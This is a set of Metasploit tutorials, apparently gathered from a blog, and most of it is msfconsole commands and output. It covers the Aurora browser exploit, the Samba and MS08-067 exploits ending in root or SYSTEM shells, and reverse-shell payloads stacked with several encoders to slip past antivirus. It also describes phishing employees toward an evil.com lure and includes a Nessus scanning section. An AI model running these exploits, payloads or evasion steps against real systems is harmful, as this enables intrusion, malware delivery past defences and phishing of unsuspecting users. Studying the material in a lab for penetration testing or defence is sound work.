An introduction to Client-side exploits !

Note : This tutorial is made for educational purposes only to help you understand how the exploit's can be exploited.

Client-side vulnerabilities are vulnerabilities in client software such as web browsers,
e-mail applications, and media players. Client side exploits are an extremely common form of attack. A typical scenario is an attacker compromises an ecommerce website and then use that website as a proxy to launch attacks on unsuspecting website visitors. Client-side vulnerabilities are especially effective in spear phishing attacks because an attacker can easily choose a set of “targets” (people) and deliver a lure to them via e-mail without knowing anything about their target network configuration. Attackers build sophisticated, convincing e-mails that appear to be from a trusted associate. Victims click on a link in the e-mail and end up at evil.com with the attacker serving up malicious web content from an attack web server to the victim’s workstation. Client-side attacks were the next evolution of attacks after network defenses became more prominent. These attacks target software commonly installed on computers in such programs as web browsers, PDF readers, and Microsoft Office applications. Because these programs are commonly installed on computers out of the box, they are obvious attack vectors for hackers. How many of us have received viruses from a malicious webpage and website? More  often than not, the owner of the website does not know that the website contains malicious code that is attacking its visitors. In these scenarios the target of the exploit is the user's web browser. 
for example, that you are performing a covert penetration test against a corporate target using social engineering. You decide that sending a phishing email to targeted users will present your best chance of success. You harvest email accounts, names, and phone numbers; browse social-networking sites; and create a list of known employees. Your malicious email instructs the email recipients that payroll information needs to be updated; they need to click a link (a malicious link) in the email to do this. However,as soon as the user clicks the link, the machine is compromised, and you can access the organization’s internal network.If an attacker wants to attack your firewall-protected computer, he will normally be blocked by your firewall. However, if the attacker instead hosts the domain evil.com and entices you to browse to www.evil.com, he now has a communication channel to interact with your computer. He needs to find a vulnerability either in the browser or in a component
that the browser uses to display web content. If the attacker finds such a vulnerability, the firewall is no longer relevant.

Metasploit has many uses and another one we will discuss here is client side expoits. To show the power of how MSF can be used in client side exploitss we will see here.

Exploring the Internet Explorer Aurora Exploit :
The browser exploit of choice here is the Aurora exploit (Microsoft Security Bulletin MS10-002). Aurora was most notoriously used in the attacks against Google and more than 20 other large technology companies. This vulnerability was important for both historical and technical reasons. Although this exploit was released in early 2010, it particularly resonates with us because it took down some major players in the technology industry. It was the first time that a client-side browser based attack had gained such notoriety.


Open msfconsole and We’ll start by using the Aurora Metasploit module and then set our payload.

msf > use exploit/windows/browser/ms10_002_aurora
  
msf exploit(ms10_002_aurora) >

msf exploit(ms10_002_aurora) > show options
  
  Module options (exploit/windows/browser/ms10_002_aurora):
  
     Name        Current Setting  Required  Description
     ----        ---------------  --------  -----------
     SRVHOST     0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or

0.0.0.0
     SRVPORT     8080             yes       The local port to listen on.
     SSL         false            no        Negotiate SSL for incoming connections
     SSLVersion  SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
     URIPATH                      no        The URI to use for this exploit (default is random)
  
  
  Exploit target:
  
     Id  Name
     --  ----
     0   Automatic
msf exploit(ms10_002_aurora) > set SRVHOST 127.0.0.1
 SRVHOST => 127.0.0.1
 msf exploit(ms10_002_aurora) > set SRVPORT 80
 SRVPORT => 80
 msf exploit(ms10_002_aurora) > set URIPATH /
 URIPATH => /
 msf exploit(ms10_002_aurora) >

First, notice that the default setting for SRVHOST  is 0.0.0.0: This means that the web server will bind to all interfaces. The SRVPORT at , 8080, is the port to which the targeted user needs to connect for the exploit to trigger. We will be using port 80
instead of 8080. Above we set the Server to localhost i.e 127.0.0.1 , Server port to 80 and the URI path to ‘/’ (ROOT).

Now let’s Set Payload :-

msf exploit(ms10_002_aurora) > set PAYLOAD windows/meterpreter/reverse_tcp
  PAYLOAD => windows/meterpreter/reverse_tcp
  msf exploit(ms10_002_aurora) > show options
  
  Module options (exploit/windows/browser/ms10_002_aurora):
  
     Name        Current Setting  Required  Description
     ----        ---------------  --------  -----------
     SRVHOST     127.0.0.1        yes       The local host to listen on. This must be an address on the local machine or

0.0.0.0
     SRVPORT     80               yes       The local port to listen on.
     SSL         false            no        Negotiate SSL for incoming connections
     SSLVersion  SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
     URIPATH     /                no        The URI to use for this exploit (default is random)
  
  
  Payload options (windows/meterpreter/reverse_tcp):
  
     Name      Current Setting  Required  Description
     ----      ---------------  --------  -----------
     EXITFUNC  process          yes       Exit technique: seh, thread, process, none
     LHOST                      yes       The listen address
     LPORT     4444             yes       The listen port
  
  
  Exploit target:
  
     Id  Name
     --  ----
     0   Automatic
  
  
  msf exploit(ms10_002_aurora) > set LHOST 127.0.0.1
  LHOST => 127.0.0.1
  msf exploit(ms10_002_aurora) > set LPORT 31337
  LPORT => 31337
  msf exploit(ms10_002_aurora) >

we set the Payload to reverse_tcp , the listening server to localhost and the listening Port to 31337.

Now that all is setup, let’s launch the exploit :

msf exploit(ms10_002_aurora) > exploit
 
Exploit running as background job.
Started reverse handler on 127.0.0.1:31337
Using URL: http://127.0.0.1:80/
Server started.

The malicious web page is sitting on our server (URL: http://127.0.0.1:80/) , Now all you have to do is direct victim to this webpage and if they are running an exploitable version on Windows XP they’ll get owned!

How to bypass antivirus detection !

In the previous articles, we have seen how to create a simple backdoor for exploiting windows machines simple backdoor.
The goal of your penetration test might be to test detection mechanisms in your organization, such as the intrusion detection
systems (IDS) or intrusion prevention systems (IPS). When you are performing a penetration test, nothing is more embarrassing
than being caught by antivirus software. How did your detection mechanisms respond to stealthy attacks? What did they catch
and, more importantly, what did they miss? If the attacker was successful, how is she hiding her presence on your organization’s
hosts?

One of the best ways to avoid being stopped by antivirus software is to encode our payload with msfencode. A common
misconception is that the antivirus engines are actually detecting the shellcode, and therefore, the best way to avoid antivirus
detection is to pick an encoder that the antivirus engine cannot handle, or encode many times. After all, those are both
prominent options of msfencode.

First of all, we’ll run a simple encoding of an MSF payload by importing raw output from msfpayload into msfencode to see how
the result affects our antivirus detection:

root@kali:/# msfpayload windows/shell_reverse_tcp LHOST=192.168.1.132 LPORT=1337 R | msfencode -e x86/shikata_ga_nai  -t
exe  > /var/www/payload.exe
[*] x86/shikata_ga_nai succeeded with size 342 (iteration=1)

When you test our payload with antivirus , we see that it’s detected.

Multi-encoding :
In the preceding example, the shikata_ga_nai encoding is polymorphic, meaning that the payload will change each time the
script is run. Of course, the payload that an antivirus product will flag is a mystery: Every time you generate a payload, the same
antivirus program can flag it once and miss it another time.

root@kali:/# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=31337 R | msfencode -e x86/shikata_ga_nai
-c 5 -t raw | msfencode -e x86/alpha_upper -c 2 -t raw | msfencode -e x86/shikata_ga_nai -c 5 -t raw | msfencode -e x86/countdown
-c 5 -t exe -o /var/www/payload3.exe
[*] x86/shikata_ga_nai succeeded with size 318 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 345 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 372 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 399 (iteration=4)
[*] x86/shikata_ga_nai succeeded with size 426 (iteration=5)
[*] x86/alpha_upper succeeded with size 921 (iteration=1)
[*] x86/alpha_upper succeeded with size 1911 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 1940 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 1969 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 1998 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 2027 (iteration=4)
[*] x86/shikata_ga_nai succeeded with size 2056 (iteration=5)
[*] x86/countdown succeeded with size 2074 (iteration=1)
[*] x86/countdown succeeded with size 2092 (iteration=2)
[*] x86/countdown succeeded with size 2110 (iteration=3)
[*] x86/countdown succeeded with size 2128 (iteration=4)
[*] x86/countdown succeeded with size 2146 (iteration=5)

Here we use five counts at .. of shikata_ga_nai, feeding the code in raw format at .. into two counts of alpha_upper encoding.

This Time when you scan with antivirus, You can see we have successfully slipped our payload past the antivirus engine.

How to Exploiting an Ubuntu Machine!

In my previous tutorial, i was explaining  how to exploit an window
machine. So here we will Exploit an Ubuntu Machine.

The steps are
pretty much the same as for the preceding exploit except that we will
select a different payload.


msf > nmap -sT -A -P0 192.168.1.3


Assume we get three open ports: 80, 139, 445 and  running a version of
Samba 3.x and Apache 2.2.3 with PHP 5.2.1.


Let’s search for a Samba exploit :

msf > search samba
[*] Searching loaded modules for pattern 'samba'...
Auxiliary
=========
Name Rank Description
---- ---- -----------
admin/smb/samba_symlink_traversal normal Samba Symlink Directory Traversal
dos/samba/lsa_addprivs_heap normal Samba lsa_io_privilege_set Heap Overflow
dos/samba/lsa_transnames_heap normal Samba lsa_io_trans_names Heap Overflow
Exploits
========
Name Rank Description
---- ---- -----------
linux/samba/lsa_transnames_heap good Samba lsa_io_trans_names . . .
. . . SNIP . . .
msf > use linux/samba/lsa_transnames_heap
msf exploit(lsa_transnames_heap) > show payloads
Compatible Payloads
===================
Name Rank Description
---- ---- -----------
generic/debug_trap normal Generic x86 Debug Trap
generic/shell_bind_tcp normal Generic Command Shell, Bind TCP Inline
generic/shell_reverse_tcp normal Generic Command Shell, Reverse TCP Inline
linux/x86/adduser normal Linux Add User
linux/x86/chmod normal Linux Chmod
linux/x86/exec normal Linux Execute Command
linux/x86/metsvc_bind_tcp normal Linux Meterpreter Service, Bind TCP
linux/x86/metsvc_reverse_tcp normal Linux Meterpreter Service, Reverse TCP Inline
linux/x86/shell/bind_ipv6_tcp normal Linux Command Shell, Bind TCP Stager (IPv6)
linux/x86/shell/bind_tcp normal Linux Command Shell, Bind TCP Stager
. . . SNIP . . .
msf exploit(lsa_transnames_heap) > set payload linux/x86/shell_bind_tcp
payload => linux/x86/shell_bind_tcp
msf exploit(lsa_transnames_heap) > set LPORT 8080
LPORT => 8080
msf exploit(lsa_transnames_heap) > set RHOST 192.168.1.2
RHOST => 192.168.1.2
msf exploit(lsa_transnames_heap) > exploit
[*] Creating nop sled....
[*] Started bind handler
[*] Trying to exploit Samba with address 0xffff104e...
[*] Connecting to the SMB service...
. . . SNIP . . .
[*] Calling the vulnerable function...
[+] Server did not respond, this is expected
[*] Command shell session 1 opened (192.168.1.3:41551 -> 192.168.1.2:8080)

whoami
root
This type of exploit, called a heap-based attack, takes advantage of
dynamic memory allocation.

How to exploit window machine!

After discussing how to use msfconsole in my previous tutorial,
now let’s exploit our first machine.

I am  use metasploit from within kali-linux and
virtual Windows XP SP2 machine. now We’ll begin by finding
this vulnerability on our own.

First of all run msfconsole, and use  command :

msf > nmap -sT -A --script=smb-check-vulns -P0 192.168.1.2

Here we use nmap’s script discovery of open ports and get ideas about
how you might exploit a particular service. The
-sT is a Stealth TCP connect, which we have found to be the most
reliable flag when trying to enumerate ports.
The -A specifies advanced OS detection, which does some additional
banner grabs and footprinting of a specific service for us.

We’ll assume that our target is vulnerable to MS08-067 exploit.

Let’s walk through the actual exploitation. First the setup:
msf > search ms08_067_netapi
[*] Searching loaded modules for pattern 'ms08_067_netapi'...
Exploits
========
Name Rank Description
---- ---- -----------
windows/smb/ms08_067_netapi great Microsoft Server Service Relative Path Stack
Corruption
msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic Targeting
1 Windows 2000 Universal
2 Windows XP SP0/SP1 Universal
3 Windows XP SP2 English (NX)
4 Windows XP SP3 English (NX)
5 Windows 2003 SP0 Universal
6 Windows 2003 SP1 English (NO NX)
7 Windows 2003 SP1 English (NX)
8 Windows 2003 SP2 English (NO NX)
9 Windows 2003 SP2 English (NX)
. . . SNIP . . .
26 Windows XP SP2 Japanese (NX)
. . . SNIP . . .
msf exploit(ms08_067_netapi) > set TARGET 3
target => 3
msf exploit(ms08_067_netapi) > set RHOST 192.168.1.2
RHOST => 192.168.1.2
msf exploit(ms08_067_netapi) > set LHOST 192.168.1.3
LHOST => 192.168.1.3
msf exploit(ms08_067_netapi) > set LPORT 8080
LPORT => 8080
msf exploit(ms08_067_netapi) > show options
The Joy of Exploitation 67
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.1.2 yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process
LHOST 192.168.1.3 yes The local address
LPORT 8080 yes The local port
Exploit target:
Id Name
-- ----
3 Windows XP SP2 English (NX)

Having set the stage, we’re ready to conduct the actual exploitation:

msf exploit(ms08_067_netapi) > exploit
[*] Started reverse handler on 192.168.1.3:8080
[*] Triggering the vulnerability...
[*] Sending stage (748032 bytes)
[*] Meterpreter session 1 opened (192.168.1.3:8080 -> 192.168.1.2:1487)
msf exploit(ms08_067_netapi) > sessions -l
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter 192.168.1.3:8080 -> 192.168.1.2:1036
msf exploit(ms08_067_netapi) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > shell
Process 4060 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>


Congratulations! You’ve just compromised your first machine!


You can watch video tutorial here...

An introduction to Basic Exploitation !

After discussing intelligence gathering phase and vulnerability
scanning in my previous tutorials, now we focus on the basics of
exploitation.Now we exploits operate against the vulnerabilities that
you discover during a penetration test.

Here we are going to show how utilizing the framework for
exploit development allows you to concentrate on what is unique about
the exploit, and makes other matters such as payload, encoding, nop
generation, and so on.

The Metasploit Framework contains hundreds of modules, and it’s nearly
impossible to remember them all. Running show from msfconsole will
display every module available in the Framework,

msf> show exploits

This command will display every currently available exploit within the
Framework.

msf> show options

When you run show options while a module is selected,
Metasploit will display only the options that apply to that particular
module.

Now let's start with example...

Open msfconsole(type msfconsole in terminal). When msfconsole is loaded,
if you want to launch an attack against SQL, type :

msf > search mssql

Or if you  find the MS08-067 exploit specifically,

msf > search ms08_067
Then, having found an exploit , you could load the found module with
the use command :

msf > use windows/smb/ms08_067_netapi

Now we can enter show
options to display the options specific to the MS08-067 exploit:

msf exploit(ms08_067_netapi) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Exploit target:
Id Name
-- ----
0 Automatic Targeting
msf exploit(ms08_067_netapi) >

As you can see, this exploit required victim's IP address.
You can set RHOST to specific target IP address(192.168.1.1) :

msf exploit(ms08_067_netapi) > set RHOST 192.168.1.1

Now when you give command show options again then :

msf exploit(ms08_067_netapi) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.1.1  The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Exploit target:
Id Name
-- ----
0 Automatic Targeting
msf exploit(ms08_067_netapi) >
As you can see now your target is set.


msf> show payloads :

As with show options, when you run show payloads from a
module-specific prompt, Metasploit displays only the payloads that are
compatible with that module.
To see an active list of payloads, run the following command:
msf> show payloads

if you are in an actual exploit, you will see only payloads applicable
to the attack.
For example, running show payloads from the msf exploit(ms08_067_netapi)
prompt would result in the output shown next.

msf exploit(ms08_067_netapi) > show payloads
Compatible Payloads
===================
Name Rank Description
---- ---- -----------
. . . SNIP . . .
windows/shell/reverse_ipv6_tcp normal Windows Command Shell, Reverse TCP
Stager (IPv6)
windows/shell/reverse_nonx_tcp normal Windows Command Shell, Reverse TCP
Stager (No NX or Win7)
windows/shell/reverse_ord_tcp normal Windows Command Shell, Reverse
Ordinal TCP Stager (No NX or Win7)
windows/shell/reverse_tcp normal Windows Command Shell, Reverse TCP
Stager
windows/shell/reverse_tcp_allports normal Windows Command Shell, Reverse
All-Port TCP Stager
windows/shell_bind_tcp normal Windows Command Shell, Bind TCP
Inline
windows/shell_reverse_tcp normal Windows Command Shell, Reverse TCP
Inline

Scanning with Nessus from Within Metasploit !

First of all, destroy the existing database with the db_destroy command
and create a new one using db_connect .

Load the Nessus plug-in by running load nessus, as shown here:


msf > db_destroy postgres:toor@127.0.0.1/msf3
[*] Warning: You will need to enter the password at the prompts below
Password:
msf > db_connect postgres:toor@127.0.0.1/msf3
msf > load nessus
[*] Nessus Bridge for Metasploit 1.1
[+] Type nessus_help for a command listing
[+] Exploit Index - (/root/.msf3/nessus_index) - is valid.
[*] Successfully loaded plugin: Nessus



Before starting a scan with the Bridge, you first need to authenticate
to your Nessus server using nessus_connect, as shown here:

msf > nessus_connect Rohit:password@192.168.1.101:8834 ok
[*] Connecting to https://192.168.1.101:8834/ as Rohit
[*] Authenticated

As you need to initiate a scan using a defined policy by its policy ID
number. To list the available scan policies
on the server, use nessus_policy_list:

msf > nessus_policy_list

Take note of the policy ID you want to use for your scan, and then
launch a new scan with nessus_scan_new followed by the policy number,
a name for your scan, and your target IP address as shown next:


msf > nessus_scan_new
[*] Usage:
[*] nessus_scan_new <policy id> <scan name> <targets>

[*] use nessus_policy_list to list all available policies

msf > nessus_scan_new 2 bridge_scan 192.168.1.2


While your scan is in progress, you can see its status by running the
nessus_scan_status command. When this command’s output responds
with “No Scans Running ”, you will know that your scan
has completed.

After the scan has completed, you can list the available scan reports
with the nessus_report_list command:


msf > nessus_report_list
msf > nessus_report_get ID

Vulnerability Scanning with Nessus !

Nessus is a well known and popular vulnerability scanner that is free
for personal, non-commercial use that was first released in 1998 by
Renaurd Deraison and currently published by Tenable Network Security.

Nessus Configuration :

After you have downloaded and installed Nessus, open your web browser
and navigate to https://<youripaddress>:8834

Creating a Nessus Scan Policy :

Before beginning a scan, you first need to create a Nessus scan policy.
On the Policies tab, click the green Add button to open the policy
configuration window.

Running a Nessus Scan :
After you have created a scan policy, you are ready to configure a scan.
Begin by selecting the Scans tab, and then click the Add button to
open the scan configuration window.


Nessus Reports :
After the scan is complete, it will no longer appear under Scans, and
you should find a new entry under the Reports tab listing the name of
the scan.

Importing Results into the Metasploit Framework :

Now let’s import our results into the Framework.
Click the Download Report button on the Reports tab to save the results
to your hard drive.

Load msfconsole, create a new database with db_connect, and import the
Nessus results file by entering db_import followed by the report
filename.

msf > db_connect postgres:toor@127.0.0.1/msf3
msf > db_import /tmp/nessus_report_Host_195.nessus
[*] Importing 'Nessus XML (v2)' data
[*] Importing host 192.168.1.195
For a complete listing of the vulnerability data that was imported into
Metasploit, enter db_vulns without any switches.